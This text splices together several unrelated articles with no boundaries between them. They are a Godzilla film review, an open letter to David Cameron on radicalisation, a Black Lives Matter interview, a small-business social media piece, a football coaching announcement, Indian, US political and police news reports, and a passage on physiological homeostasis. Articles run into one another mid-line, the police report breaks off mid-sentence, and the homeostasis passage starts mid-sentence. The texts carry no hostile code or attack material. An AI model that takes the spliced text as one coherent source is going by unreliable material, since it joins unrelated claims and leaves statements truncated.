Dub-Misstep: As GODZILLA VS. GIGAN treads a thin line between enjoyable farce and cheesy nonsense, the dub helps to push it over the edge, and – comically – it works a treat. There can be a lot more enjoyment to be had from this version especially when Godzilla and Anguirus talk to each other in English. It’s just so absurdly wonderful that you just have to enjoy it. Not just the fact they are talking, but the tone and vocabulary used suggests such a love/hate relationship between the two. As Godzilla calls for Anguirus, the crotchety reply is “Whaddya want?” A bit of daft fun, certainly, but worth your time for that moment alone.
Monsters: Godzilla and Anguirus team-up and make quite the pair, as well as King Ghidorah returning. Gigan is a strange new monster that really does look like a lot of ideas just splashed across the page. Surprisingly though, it works. He may be more for the visual aspect, with rotating chainsaw body, long stabby arms, and a mixture of chicken and robot, but I would love to see a realistic and grotesque take on the character in CG.
Notes For GODZILLA (2014): Gigan may never make the leap to the big screen for a US reboot, and the convoluted plot revolving around cockroach aliens and the like would probably be a bit too much. The destruction and fight scenes are excellent though, at least in terms of pure spectacle.
G-RATING:
GODZILLA will be released 16th May 2014. It stars Aaron Taylor-Johnson, Elizabeth Olsen, Juliette Binoche, Ken Watanabe, Bryan Cranston, Sally Hawkins, Akira Takarada, and David Strathairn.Dear Mr Cameron,
What did your speech on radicalisation this week actually mean to someone like me?
Despite being born in Manchester, growing up here and being a proud Mancunian (let’s overlook my support for Liverpool FC), for the first time in 37 years I feel as though I don’t belong. And yes, I am Muslim. Just a British Muslim.
I used to hear the term “Muslim community” and think of a peaceful hard-working community who settled in the UK to create a better future for generations to come. Now I hear that and it paints a picture of a misunderstood, frightened community under attack and feeling the need to continually apologise and defend its religious beliefs.
There have been many responses to your speech, and some well-researched analyses. But I need you to listen to someone like me. I need to have confidence that the person shaping my children’s future has an understanding of the impact of legislation imposed by you and your government.
Facebook Twitter Pinterest Highlights from David Cameron’s speech on tackling extremism
Let’s start with the proposal regarding passports. You said this week that parents will have the power to confiscate their child’s passport if they fear they will travel to Syria or Iraq to fight for Isis. No parent wants their child to do that – and not just Muslim parents. Why anyone would join Isis is beyond my comprehension, so having the ability as a parent to stop my child ever coming to harm would be welcome. But just out of curiosity, if my child’s passport is confiscated, would they then be labelled a “non-violent extremist” and, if so, what would be the consequences for them?
If my child’s passport is confiscated, will they then be labelled a 'non-violent extremist'
There is a lot of talk at the moment of “ideology”. To be clear, “ideology” doesn’t make me feel isolated. “Ideology” doesn’t drive radicalisation. Islamophobia, foreign policy and double standards make me feel isolated and scared and, I suspect, are the real driving force behind radicalisation.
Like others before you, including Tony Blair, you say your objection isn’t to Muslims and Islam but towards violent jihadism. It’s difficult for me to believe in your sincerity though, when you’ve created a society where just talking about certain aspects of Islam is now considered extremist.
Muslims and Islam have been vilified and demonised by society and the media. Islamophobic attacks are on the rise. And no, I haven’t been the target of an Islamophobic attack yet, but I’m also not naive enough to think it won’t happen to me just because I don’t wear a headscarf or because my clothing is more westernised. I dread opening my news app in case there’s another unfair, biased headline for which I will then have to apologise, whether it’s about child grooming or a violent killing.
I was pleased to hear you mention Islamophobia, but what have you done to counter it? Did I miss that in your speech, David? Prior to the general election, Theresa May proposed Islamophobia being recorded as a separate crime, but is this actually going to happen?
The media’s prejudiced use of the term “terrorism” has created the link between the word Muslim and terrorism, embedding it in people’s minds and propagating hate towards the Muslim community. Anders Behring Breivik was labelled a terrorist until he was found not to be Muslim; then many chose to brand him a “mass murderer” instead. Dylann Roof was described by many people simply as a “shooter”, despite having a manifesto of hate. Had they been Muslim, both would surely have been straightforwardly deemed “terrorists”. Why should I have to stop my children from watching the news or reading the papers? The media is using the actions of a few – who quite clearly do not understand the meaning of Islam – to tarnish 1.6 billion Muslims worldwide and demonise a peaceful religion. The media needs to take some responsibility for the way in which Muslims are being treated in the UK and for the rise in Islamophobia.
David, you need to ensure the media is fair in its reporting. This double standard, inadequately monitored by the regulator Ipso – the supposedly independent body created after the Leveson inquiry – contributes towards people’s lack of a “sense of belonging” and to radicalisation.
You completely failed to mention foreign policy
You completely failed to mention foreign policy. Do you really believe we didn’t notice the huge elephant in the room? I am not going to go into the politics of the numerous bombings that have been embarked upon, but how do I explain to my children that 519 Palestinian children were killed last year and the UK did nothing, while approximately half a million people were killed in Iraq on the basis of a hunt for weapons of mass destruction that didn’t exist? Can you come and explain that to my two boys?
I wonder what the future holds for them. Will they be able to practise their faith or will they have to do it discreetly for fear of a teacher reporting them under the current Prevent legislation? Will any signs of increased religious practise be seen as a sign of “radicalisation” under this legislation? This same legislation was called a failure in an open letter to a major national newspaper this month by British academics, not just Muslims. Any human being, regardless of whether they are a teacher or doctor, would stop harm happening to others. As a GP I don’t need legislation to tell me to report someone I feel will harm others: I find that insulting. Do you think I have spent the past 12 years of my career allowing harm to occur?
By scapegoating Muslims, Cameron fuels radicalisation | Seumas Milne Read more
What will the job opportunities be like for my children? You expressed disgust at those who believed “Muslims were taking over the government” when all they would like to do is engage with the system – and surely this fits in with “British values”. But how will you ensure this happens fairly? You failed to mention how you will tackle the discrimination currently faced by Muslims in the workplace. Where is the policy intervention to address this issue so Muslims feel like they “belong”?
You say you want to “empower” moderate voices among British Muslims. I welcome that wholeheartedly. So when will you be replacing the Quilliam foundation with people who represent me and have some credibility and respect among British Muslims? There are “moderate” practising Muslims and organisations who are willing to work with you to tackle the threat of radicalisation and who are representative of the 2.7 million British Muslims living in the UK.
The thoughts and worries are endless. This is the reality of being a Muslim in Britain at the moment. If you are genuine about tackling “extremism” talk to the people who matter and address the issues that really count.
I await your reply.Alicia Garza wants Americans to understand that racism is about much more than people being mean to each other.
The following is a condensed and edited interview with Alicia Garza, co-founder, Black Lives Matter.
People often trace Black Lives Matter to three years ago. The night George Zimmerman was acquitted after killing Trayvon Martin, you went on Facebook and wrote …
A rant is what I called it, but it ended up being a love letter to black people. There was so much being said either about “we already knew that was going to happen,” or about what black folks need to do to prevent ourselves from being murdered—“just vote,” “just get a better education. …” None of that deals with how vigilantes are grown and supported by laws, or how to eradicate systemic racism.
So I wrote a love letter, ending with, “Black people, I love you. I love us. We matter. Our lives matter.” Patrisse Cullors put a hashtag in front of it. And we started talking about building and organizing to really be a magnet for people who wanted to figure out how to fight back. And our sister Opal Tometi helped us build the platforms online to connect people. All three of us were organizers. So part of what we asked our network to do was to use “Black Lives Matter” in their work if it was helpful. Folks did.
What’s the biggest misconception people have about Black Lives Matter?
That we only care about black people. We are clear that all lives matter, but we live in a world where that’s not actually happening in practice. So if we want to get to the place where all lives matter, then we have to make sure that black lives matter, too.
In conversations about racism in American culture or politics, the focus is often on racism as a personal defect or an attitude. Does that make it harder to take on systemic racism?
It’s terrible. The way that people understand racism in this country is about interpersonal dynamics, like racism is people being mean to each other. That sucks, but if that’s all it was, let’s just sing Kumbayatogether.
But racism is a set of interlocking dynamics: One in three black men can expect to spend some time incarcerated; women are the fastest-growing population in prisons and jails—and 30 percent are black; black folks are on the low-earning end of the economy. Lots of people who are great people are implementing and protecting systems, practices, structures that fundamentally exclude, disenfranchise, marginalize black people.
……….
Has Hillary Clinton done or said anything as a presidential candidate that’s surprised you?
Early on, she would say, “Yes, black lives matter,” but she wouldn’t acknowledge her role in processes that fundamentally showed black lives did not matter. She says that she is for economic justice, but she doesn’t support $15 an hour as the minimum wage.
After Bill Clinton told black protesters, “You are defending the people who kill the lives you say matter,” you wrote, “My back is tired of being the path to the White House.”
I was angry about that for about a month—seriously, like every single day. It’s reprehensible for him to defend the impacts his policies have had on our communities. The Clintons use black people for votes, but then don’t do anything for black communities after they’re elected. They use us for photo ops.
So where does that leave you on a Clinton-Trump election?
I am going to do everything in my power to make sure that we are not led by Donald Trump. That being said, there’s lots to be engaged in at the state level, the local level. We’re going to continue to push. We’re not indebted to or endeared to the Democratic Party.
Click here to continue reading…
SOURCE: Interview by Josh Eidelson
Bloomberg BusinessweekWeinhagen Tire Co. in St. Paul needed to attract new customers. Owner Mike Weinhagen had tried traditional advertising — fliers, coupons, direct mailings — but it was more expensive and less effective than he’d hoped.
The company’s bookkeeper, Mike’s 33-year-old daughter-in-law Marjorie Weinhagen, suggested they give social media a try.
“He’s kind of old-school, so it wasn’t a priority to him,” Marjorie Weinhagen said. “But it just seems like it’s the way my generation communicates.”
In a little less than a year after being put in charge of the company’s Facebook page, Marjorie Weinhagen has grown its following to a modest 120 people — but they’re a loyal bunch, she says. And they’ve become regular customers, often making appointments for tire rotations and oil changes via Facebook message.
Given its popularity, it would seem social media marketing on sites like Facebook would be essential; yet small businesses like Weinhagen Tire have been slow to fully embrace it.
But they should, says Tom Donovan, digital manager at Haworth Marketing + Media in Minneapolis.
THE PRICE IS RIGHT?
For one thing, it’s free. And that can make a big difference to a small business. It also provides businesses a way to communicate directly with potential customers in real time — which is next to impossible with traditional marketing.
And, if used right, it can provide some level of market research that goes beyond just knowing one’s regular customers.
But Donovan acknowledges many small-business owners doubt social media’s ability to have a measurable impact on their revenue. Others balk at the time investment — which is not free.
“It’s not like some of the other types of advertising where you can kind of set it and forget it,” Donovan said. Social media takes management. But so do employees, suppliers and payroll, etc.
There’s always the possibility of hiring someone to manage a business’s social media, but that takes money.
While Donovan acknowledges these concerns aren’t entirely unfounded, he argues that there are simple steps business owners can take to maximize the impact of their social media efforts while minimizing the drain on their time.
Most importantly, business owners wading into social media should begin by outlining a couple of specific goals, he said.
“It’s not one size fits all,” Donovan said. Success depends on “clearly defining what they’re hoping to get out of it. What does success look like?”
Weinhagen Tire’s goal was to save money and to reach a demographic that wasn’t accessible through more conventional types of marketing.
BEYOND FACEBOOK
Donovan says it’s also important to figure out where your potential clients are spending their time. Become active on those specific social networks rather than wasting time and effort on platforms where your posts won’t be seen by the right people.
For Bellagala, a St. Paul-based wedding services provider, that meant a Pinterest account. Since it launched in 2010, picture-posting site Pinterest has become a go-to resource for wedding planning, says Emily Gorg, Bellagala’s marketing coordinator.
“I’ve heard brides say, ‘How do you plan a wedding without Pinterest?’ ” Gorg said.
She said Pinterest is ideal for posting photos of weddings taken by Bellagala photographers — one of their best-selling services.
Networks like Pinterest and Facebook are great for reaching consumers, Donovan said, but they’re not ideal if you’re a business-to-business company. In that case, he suggests LinkedIn.
“It has to do with what type of data you’re looking to use,” he said.
While Facebook knows a lot about its users’ favorite movies and hobbies, LinkedIn gathers information about its users’ occupations — useful for a business like Donovan’s, whose clients are other companies.
Once you’ve found your audience, the next step is to reach out to them. It’s not enough to simply have a profile.
Neal Kielar, owner of St. Paul retro furniture store MidModMen, recommends setting aside a little time each day to post to your company’s social media accounts. But he warns not to overdo it.
“It’s pretty demanding,” he said. “But you have to be careful not to spread yourself too thin.”
During the week, he works full time as a content strategist for a television production company — MidModMen is open only on Saturday and Sunday — but Kielar says he’s able to set aside about 10 hours each week managing the store’s Facebook page.
Kielar schedules posts in advance to avoid scrambling for ideas later on. This can be done with the clock icon in Facebook’s status box, but Twitter users will need to use an app like Tweetdeck or Hootsuite.
Matt Dunn, who manages the website and social media accounts of Minneapolis record store The Electric Fetus, saves time by linking the store’s Twitter and Facebook accounts, so posts on one platform show up on both.
KNOWING THE AUDIENCE
More important than when you post is what you post. Followers are often turned off by endless promotions and special offers, Dunn says. He breaks up promotional posts with Rolling Stone articles and local concert announcements.
“Every day is trial and error,” Dunn said.
Gorg recommends supplementing trial and error with data. Facebook, LinkedIn, Pinterest and Google+ all have native analytics tools that help you see what’s working and what’s not — a kind of rudimentary market research.
Marjorie Weinhagen posts a weekly car care tip, advising followers how often they should have their alignment checked and how to ensure tires are properly inflated.
Finally, the “social” in social media can’t be overemphasized, Donovan says. Many companies simply post without paying much attention to responses from their followers.
Marjorie Weinhagen makes it a point to respond to everyone who posts on her company’s timeline and says followers appreciate it — although she expects such attention will become more difficult as the page gains followers.
Social media is constantly evolving, and there are wrong ways to do it, Gorg says. This can be intimidating for businesses that are new to the concept.
But there is help out there: Gorg recommends seeking out online social media marketing tutorials and local workshops. Social Media Breakfast — Minneapolis/St. Paul is a good place to start, Donovan said. With a little research and forethought, small-business owners can make social media an invaluable tool.
“If you’re not on social media as any type of business, I think you’re missing out,” Gorg said. “It’s becoming a real engagement tool, but people are still trying to figure it out.”
Nick Woltman can be reached at 651-228-5189. Follow him on Twitter at @nickwoltman.The Central Coast Mariners can today confirm that the club’s Technical Director/interim Head Coach, Tony Walmsley has been appointed as permanent Technical Director/Head Coach for the Hyundai A-League 2015/16 Season.
After taking the helm as an interim replacement for Phil Moss in the lead up to the club’s Hyundai A-League Round 20 fixture against Melbourne City, Walmsley will commence the role on a permanent basis, effective May 1.
Over the past six weeks, the Central Coast Mariners Owner Mike Charlesworth, along with Executive Vice Chairman, Peter Storrie & with the assistance of Walmsley have scaled the globe for a suitable candidate to lead the yellow and navy into battle. The club’s senior management wanted a candidate that will guarantee attacking, free flowing and entertaining football.
Entertainment, vision, flair, innovation, training methods and the introduction of young players into the club’s football department along with recruitment of players who can fit into this mantra has led the club to decide that Walmsley is the key to the Mariners’ football moving forward.
The Central Coast Mariners are delighted that the Head Coach position has been locked in for the 11th season of the Hyundai A-League and is confident that Walmsley has what it takes to get the most out of his playing squad and deliver a brand of football that will entertain our fans and members week in, week out.
Central Coast Mariners Owner, Mike Charlesworth said the brief was to source a Head Coach with an excellent track record in youth development who also understands that as a business we need to change our focus towards one of entertainment over and above anything.
“With such a small population base over a large geographical area we need to do something special next season to attract new fans and bring some of the old ones back.
Without fear of failure we simply have to innovate and entertain and I believe Tony has both the understanding of this task and the experience to see this challenge through successfully,” Charlesworth said.
After assessing a raft of candidates both internationally and domestically, Storrie ensured the members and fans that the Central Coast Mariners will entertain and that the former Head of Recruitment at Sheffield United is the right man to deliver.
“We interviewed a select number of candidates but ultimately, Tony’s international experience in youth development; belief in the new football philosophy and passion to entertain were key factors in appointing him as the club’s permanent Head Coach.
Tony’s understanding of the Mariners’ culture, having been involved with the club for many years also played a part in the decision making process,” Storrie said.
Walmsley is honoured to be named the club's fourth Head Coach of the Mariners and ensured fans, members and the media that he is ready for Season 11 of the Hyundai A-League.
“Coaching in the Hyundai A League is the aspiration of a many coaches, both here and overseas. It comes with an incredible responsibility and at a time when sustainability is demanded as the league continues to evolve.
When Peter Storrie asked if I would consider taking the Head Coach role at the Mariners I needed to weigh up the opportunity carefully. It is an honour to be invited to take on the role, but I needed to be clear about my commitment to success, identify what success looks like and how I can make a difference.”
The club's mantra is entertainment, youth and community. As Technical Director I was brought in to deliver a football program aligned to the commercial objectives of the club. This means a recruitment charter that identifies players with embedded talent that can be identified, contribute on the pitch, developed and sold. No hiding behind it. Something to celebrate.”
As Head Coach I'm interested in exposing players to a style that stretches them beyond where they think their capabilities are and to get the staff to buy into the broader vision. Can we be more resilient, yet more expressive? Pretty on the eye? Courageous on the ball, can we be recognised for innovation?”
The Mariners are a fantastic club with a great history. I worked under Lawrie McKinna and Graham Arnold across five seasons before realising a personal goal to work in professional football in the UK with Sheffield United. I've remained curious throughout almost thirty coaching years across a broad set of experiences with some great people.”
So my time has arrived to make a commitment to the members and fans to provide an environment where the players love coming to work. Where their spirit, joy and passion for playing football is captured in the essence of how we play. I'm thrilled to be the 4th Head Coach in Mariners history. Bring on season 11,” Walmsley said.
The Central Coast Mariners will round off their Hyundai A-League 2014/15 proceedings with two tough away challenges against Wellington Phoenix & Melbourne Victory respectively. Despite two games remaining, Walmsley has commenced planning for the 2015/16 campaign which will ramp up significantly from May 1.In a shocking incident, a panchayat in Bihar has ordered one of its members accused of raping a Mahadalit woman to pay her Rs.41,000 and asked the victim to not report the incident, police said Saturday.
The incident occurred in a panchayat under Kodha police station in Katihar district.
But the accused, a local muscleman, refused to pay the money. When she protested about his refusal to pay amount, the accused set her husband on fire injuring him badly, said a police official Sunil Kumar.
This forced the victim to approach Katihar Superintendent of Police Kshatraneel Singh two days ago for justice.
Singh has ordered an investigation into the incident.
"One of the accused Naresh Ravidas has been arrested while the main accused Prakash Ravidas is absconding," police said.
According to police, the incident occurred last month when the victim was called to panchayat building by the Prakash on the pretext of readying documents related to Indira Awas Yojana.
"In her complaint to police she has informed that she was raped by him and threatened not to disclose it," police said.
Last year, a panchayat in Kishanganj district had ordered a minor girl, who was raped by four brothers and was seven months pregnant, to take Rs.50,000 and undergo an abortion. When she approached police an FIR was lodged and accused were arrested.
In a similar case in September 2014, a panchayat in Muzaffarpur district ordered a minor rape victim to take Rs.2 lakh and undergo abortion.Republican National Committee Chairwoman Ronna Romney McDaniel said President Trump’s tweets Thursday morning showed “he is a human.”
“We’re focused on the policy of healthcare and those things, and there are personal things going on,” McDaniel said in a Bloomberg TV interview, when asked her thoughts on the president’s tweets attacking MSNBC’s Mika Brzezinski about her looks.
Senate Republicans are currently revising a healthcare bill to overhaul the Affordable Care Act, which was delayed from a floor vote on Tuesday due to lack of support.
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But McDaniel criticized the “Morning Joe” hosts as well, saying, “Day after day … they’ve used that platform for hours to disparage and demean our president.”
“They’re in the media, they’re pushing on him,” McDaniel said in defense of Trump. “And today he said, ‘I’m not gonna take it, I’m gonna fight back.’
“He is a human. He showed that today, but that’s not gonna keep Republicans from focusing on what we need to do from a policy standpoint to help the American people.”
Brzezinski and co-host Joe Scarborough have heavily criticized the president on the show. Brzezinski tweeted back at the president Thursday morning, jabbing at his "little hands."Please enable Javascript to watch this video
INDEPENDENCE, Mo. -- An Independence police officer survived a gunshot to the head and life-saving surgery Wednesday, and now his colleagues and family are asking for thoughts and prayers and privacy.
"Centerpoint Medical Center has treated and admitted the Independence Police Officer who was involved in an incident this morning at 10 a.m. Following life saving surgery, he is in critical condition. Given that there is an ongoing police investigation, the family is asking for privacy at this time," the news release said.
The officer has not been identified; is out of surgery and in critical condition.
The unidentified police officer was shot shortly before 10 a.m. Wednesday at a home in Independence on South Delaware Avenue, and according to a police source, the officer was shot in the head. Dispatch reported the 'officer down'. Two suspects fled from the scene and a chase began. The suspects, according to records, escaped in the SUV that belonged to the person who owns the home. The officer is believed to have exchanged gunfire with the suspects before they escaped in the stolen car.
Police pursued the suspect vehicle, and it was stopped near 23rd and Maywood, about three miles away from where the officer was shot. The suspects were taken into custody near 23rd and Cedar, and at least one suspect was taken away by ambulance.
"Upon their arrival, the suspects fled the scene and in doing so, fired and shot one officer. Officers returned fire. One officer was injured and taken to the hospital," said Capt. Carl Perry, Commander of Community Service Unit. "Your thoughts and prayers to be with the officer and the family would be appreciated."
Neighbors say the homeowner was in his house during the burglary and looked a bit battered and bruised when police escorted him out.
"I saw a gentleman in a red shirt being brought out of the house," said Kathryn Tempel, a neighbor. "Later I thought I saw him standing, talking to police, so I don't think he was the bad guy, I think he might have been the homeowner."
Tempel said when she heard the gunfire, she thought a transformer had blown.
"When I looked out, that's when I saw the police cars, the many police cars," she said.
FOX 4 spoke with another neighbor near South Delaware Avenue who said her daughter came to tell her something was going on. When she looked out her window, she saw several police officers shooting towards the house.
"They had shot through, one of the garage doors was completely shot through, and pulled one of the guys out," witness Tracy Crookham said. "And then it looked like they pulled another guy out through the back, and they were all surrounding the house next door so |
insulin secretion to be stopped, and glucagon to be secreted from the alpha cells into the blood. This inhibits the uptake of glucose from the blood by the liver, fats cells and muscle. Instead the liver is strongly stimulated to manufacture glucose from glycogen (through glycogenolysis) and from non-carbohydrate sources (such as lactate and de-aminated amino acids) using a process known as gluconeogenesis.[36] The glucose thus produced is discharged into the blood correcting the detected error (hypoglycemia). The glycogen stored in muscles remains in the muscles, and is only broken down, during exercise, to glucose-6-phosphate and thence to pyruvate to be fed into the citric acid cycle or turned into lactate. It is only the lactate and the waste products of the citric acid cycle that are returned to the blood. The liver can take up only the lactate, and by the process of energy consuming gluconeogenesis convert it back to glucose.
Iron levels [ edit ]
Copper regulation [ edit ]
Levels of blood gases [ edit ]
The respiratory center
Changes in the levels of oxygen, carbon dioxide, and plasma pH are sent to the respiratory center, in the brainstem where they are regulated. The partial pressure of oxygen and carbon dioxide in the arterial blood is monitored by the peripheral chemoreceptors (PNS) in the carotid artery and aortic arch. A change in the partial pressure of carbon dioxide is detected as altered pH in the cerebrospinal fluid by central chemoreceptors (CNS) in the medulla oblongata of the brainstem. Information from these sets of sensors is sent to the respiratory center which activates the effector organs – the diaphragm and other muscles of respiration. An increased level of carbon dioxide in the blood, or a decreased level of oxygen, will result in a deeper breathing pattern and increased respiratory rate to bring the blood gases back to equilibrium.
Too little carbon dioxide, and, to a lesser extent, too much oxygen in the blood can temporarily halt breathing, a condition known as apnea, which freedivers use to prolong the time they can stay underwater.
The partial pressure of carbon dioxide is more of a deciding factor in the monitoring of pH.[37] However, at high altitude (above 2500 m) the monitoring of the partial pressure of oxygen takes priority, and hyperventilation keeps the oxygen level constant. With the lower level of carbon dioxide, to keep the pH at 7.4 the kidneys secrete hydrogen ions into the blood, and excrete bicarbonate into the urine.[38][39] This is important in the acclimatization to high altitude.[40]
Blood oxygen content [ edit ]
The kidneys measure the oxygen content rather than the partial pressure of oxygen in the arterial blood. When the oxygen content of the blood is chronically low, oxygen-sensitive cells secrete erythropoietin (EPO) into the blood.[41] The effector tissue is the red bone marrow which produces red blood cells (RBCs)(erythrocytes). The increase in RBCs leads to an increased hematocrit in the blood, and subsequent increase in hemoglobin that increases the oxygen carrying capacity. This is the mechanism whereby high altitude dwellers have higher hematocrits than sea-level residents, and also why persons with pulmonary insufficiency or right-to-left shunts in the heart (through which venous blood by-passes the lungs and goes directly into the systemic circulation) have similarly high hematocrits.[42][43]
Regardless of the partial pressure of oxygen in the blood, the amount of oxygen that can be carried, depends on the hemoglobin content. The partial pressure of oxygen may be sufficient for example in anemia, but the hemoglobin content will be insufficient and subsequently as will be the oxygen content. Given enough supply of iron, vitamin B12 and folic acid, EPO can stimulate RBC production, and hemoglobin and oxygen content restored to normal.[42][44]
Arterial blood pressure [ edit ]
The brain can regulate blood flow over a range of blood pressure values by vasoconstriction and vasodilation of the arteries.[45]
High pressure receptors called baroreceptors in the walls of the aortic arch and carotid sinus (at the beginning of the internal carotid artery) monitor the arterial blood pressure.[46] Rising pressure is detected when the walls of the arteries stretch due to an increase in blood volume. This causes heart muscle cells to secrete the hormone atrial natriuretic peptide (ANP) into the blood. This acts on the kidneys to inhibit the secretion of renin and aldosterone causing the release of sodium, and accompanying water into the urine, thereby reducing the blood volume.[47] This information is then conveyed, via afferent nerve fibers, to the solitary nucleus in the medulla oblongata.[48] From here motor nerves belonging to the autonomic nervous system are stimulated to influence the activity of chiefly the heart and the smallest diameter arteries, called arterioles. The arterioles are the main resistance vessels in the arterial tree, and small changes in diameter cause large changes in the resistance to flow through them. When the arterial blood pressure rises the arterioles are stimulated to dilate making it easier for blood to leave the arteries, thus deflating them, and bringing the blood pressure down, back to normal. At the same time the heart is stimulated via cholinergic parasympathetic nerves to beat more slowly (called bradycardia), ensuring that the inflow of blood into the arteries is reduced, thus adding to the reduction in pressure, and correction of the original error.
Low pressure in the arteries, causes the opposite reflex of constriction of the arterioles, and a speeding up of the heart rate (called tachycardia). If the drop in blood pressure is very rapid or excessive, the medulla oblongata stimulates the adrenal medulla, via "preganglionic" sympathetic nerves, to secrete epinephrine (adrenaline) into the blood. This hormone enhances the tachycardia and causes severe vasoconstriction of the arterioles to all but the essential organ in the body (especially the heart, lungs, and brain). These reactions usually correct the low arterial blood pressure (hypotension) very effectively.
Calcium levels [ edit ]
Calcium homeostasis
The plasma ionized calcium (Ca2+) concentration is very tightly controlled by a pair of homeostatic mechanisms.[49] The sensor for the first one is situated in the parathyroid glands, where the chief cells sense the Ca2+ level by means of specialized calcium receptors in their membranes. The sensors for the second are the parafollicular cells in the thyroid gland. The parathyroid chief cells secrete parathyroid hormone (PTH) in response to a fall in the plasma ionized calcium level; the parafollicular cells of the thyroid gland secrete calcitonin in response to a rise in the plasma ionized calcium level.
The effector organs of the first homeostatic mechanism are the bones, the kidney, and, via a hormone released into the blood by the kidney in response to high PTH levels in the blood, the duodenum and jejunum. Parathyroid hormone (in high concentrations in the blood) causes bone resorption, releasing calcium into the plasma. This is a very rapid action which can correct a threatening hypocalcemia within minutes. High PTH concentrations cause the excretion of phosphate ions via the urine. Since phosphates combine with calcium ions to form insoluble salts, a decrease in the level of phosphates in the blood, releases free calcium ions into the plasma ionized calcium pool. PTH has a second action on the kidneys. It stimulates the manufacture and release, by the kidneys, of calcitriol into the blood. This steroid hormone acts on the epithelial cells of the upper small intestine, increasing their capacity to absorb calcium from the gut contents into the blood.[50]
The second homeostatic mechanism, with its sensors in the thyroid gland, releases calcitonin into the blood when the blood ionized calcium rises. This hormone acts primarily on bone, causing the rapid removal of calcium from the blood and depositing it, in insoluble form, in the bones.
The two homeostatic mechanisms working through PTH on the one hand, and calcitonin on the other can very rapidly correct any impending error in the plasma ionized calcium level by either removing calcium from the blood and depositing it in the skeleton, or by removing calcium from it. The skeleton acts as an extremely large calcium store (about 1 kg) compared with the plasma calcium store (about 180 mg). Longer term regulation occurs through calcium absorption or loss from the gut.
Sodium concentration [ edit ]
The homeostatic mechanism which controls the plasma sodium concentration is rather more complex than most of the other homeostatic mechanisms described on this page.
The sensor is situated in the juxtaglomerular apparatus of kidneys, which senses the plasma sodium concentration in a surprisingly indirect manner. Instead of measuring it directly in the blood flowing past the juxtaglomerular cells, these cells respond to the sodium concentration in the renal tubular fluid after it has already undergone a certain amount of modification in the proximal convoluted tubule and loop of Henle.[51] These cells also respond to rate of blood flow through the juxtaglomerular apparatus, which, under normal circumstances, is directly proportional to the arterial blood pressure, making this tissue an ancillary arterial blood pressure sensor.
In response to a lowering of the plasma sodium concentration, or to a fall in the arterial blood pressure, the juxtaglomerular cells release renin into the blood.[51][52][53] Renin is an enzyme which cleaves a decapeptide (a short protein chain, 10 amino acids long) from a plasma α-2-globulin called angiotensinogen. This decapeptide is known as angiotensin I.[51] It has no known biological activity. However, when the blood circulates through the lungs a pulmonary capillary endothelial enzyme called angiotensin-converting enzyme (ACE) cleaves a further two amino acids from angiotensin I to form an octapeptide known as angiotensin II. Angiotensin II is a hormone which acts on the adrenal cortex, causing the release into the blood of the steroid hormone, aldosterone. Angiotensin II also acts on the smooth muscle in the walls of the arterioles causing these small diameter vessels to constrict, thereby restricting the outflow of blood from the arterial tree, causing the arterial blood pressure to rise. This, therefore, reinforces the measures described above (under the heading of "Arterial blood pressure"), which defend the arterial blood pressure against changes, especially hypotension.
The angiotensin II-stimulated aldosterone released from the zona glomerulosa of the adrenal glands has an effect on particularly the epithelial cells of the distal convoluted tubules and collecting ducts of the kidneys. Here it causes the reabsorption of sodium ions from the renal tubular fluid, in exchange for potassium ions which are secreted from the blood plasma into the tubular fluid to exit the body via the urine.[51][54] The reabsorption of sodium ions from the renal tubular fluid halts further sodium ion losses from the body, and therefore preventing the worsening of hyponatremia. The hyponatremia can only be corrected by the consumption of salt in the diet. However, it is not certain whether a "salt hunger" can be initiated by hyponatremia, or by what mechanism this might come about.
When the plasma sodium ion concentration is higher than normal (hypernatremia), the release of renin from the juxtaglomerular apparatus is halted, ceasing the production of angiotensin II, and its consequent aldosterone-release into the blood. The kidneys respond by excreting sodium ions into the urine, thereby normalizing the plasma sodium ion concentration. The low angiotensin II levels in the blood lower the arterial blood pressure as an inevitable concomitant response.
The reabsorption of sodium ions from the tubular fluid as a result of high aldosterone levels in the blood does not, of itself, cause renal tubular water to be returned to the blood from the distal convoluted tubules or collecting ducts. This is because sodium is reabsorbed in exchange for potassium and therefore causes only a modest change in the osmotic gradient between the blood and the tubular fluid. Furthermore, the epithelium of the distal convoluted tubules and collecting ducts is impermeable to water in the absence of antidiuretic hormone (ADH) in the blood. ADH is part of the control of fluid balance. Its levels in the blood vary with the osmolality of the plasma, which is measured in the hypothalamus of the brain. Aldosterone's action on the kidney tubules prevents sodium loss to the extracellular fluid (ECF). So there is no change in the osmolality of the ECF, and therefore no change in the ADH concentration of the plasma. However, low aldosterone levels cause a loss of sodium ions from the ECF, which could potentially cause a change in extracellular osmolality and therefore of ADH levels in the blood.
Potassium concentration [ edit ]
High potassium concentrations in the plasma cause depolarization of the zona glomerulosa cells' membranes in the outer layer of the adrenal cortex.[55] This causes the release of aldosterone into the blood.
Aldosterone acts primarily on the distal convoluted tubules and collecting ducts of the kidneys, stimulating the excretion of potassium ions into the urine.[51] It does so, however, by activating the basolateral Na+/K+ pumps of the tubular epithelial cells. These sodium/potassium exchangers pump three sodium ions out of the cell, into the interstitial fluid and two potassium ions into the cell from the interstitial fluid. This creates an ionic concentration gradient which results in the reabsorption of sodium (Na+) ions from the tubular fluid into the blood, and secreting potassium (K+) ions from the blood into the urine (lumen of collecting duct).[56][57]
Fluid balance [ edit ]
The total amount of water in the body needs to be kept in balance. Fluid balance involves keeping the fluid volume stabilized, and also keeping the levels of electrolytes in the extracellular fluid stable. Fluid balance is maintained by the process of osmoregulation and by behavior. Osmotic pressure is detected by osmoreceptors in the median preoptic nucleus in the hypothalamus. Measurement of the plasma osmolality to give an indication of the water content of the body, relies on the fact that water losses from the body, (through unavoidable water loss through the skin which is not entirely waterproof and therefore always slightly moist, water vapor in the exhaled air, sweating, vomiting, normal feces and especially diarrhea) are all hypotonic, meaning that they are less salty than the body fluids (compare, for instance, the taste of saliva with that of tears. The latter has almost the same salt content as the extracellular fluid, whereas the former is hypotonic with respect to the plasma. Saliva does not taste salty, whereas tears are decidedly salty). Nearly all normal and abnormal losses of body water therefore cause the extracellular fluid to become hypertonic. Conversely, excessive fluid intake dilutes the extracellular fluid causing the hypothalamus to register hypotonic hyponatremia conditions.
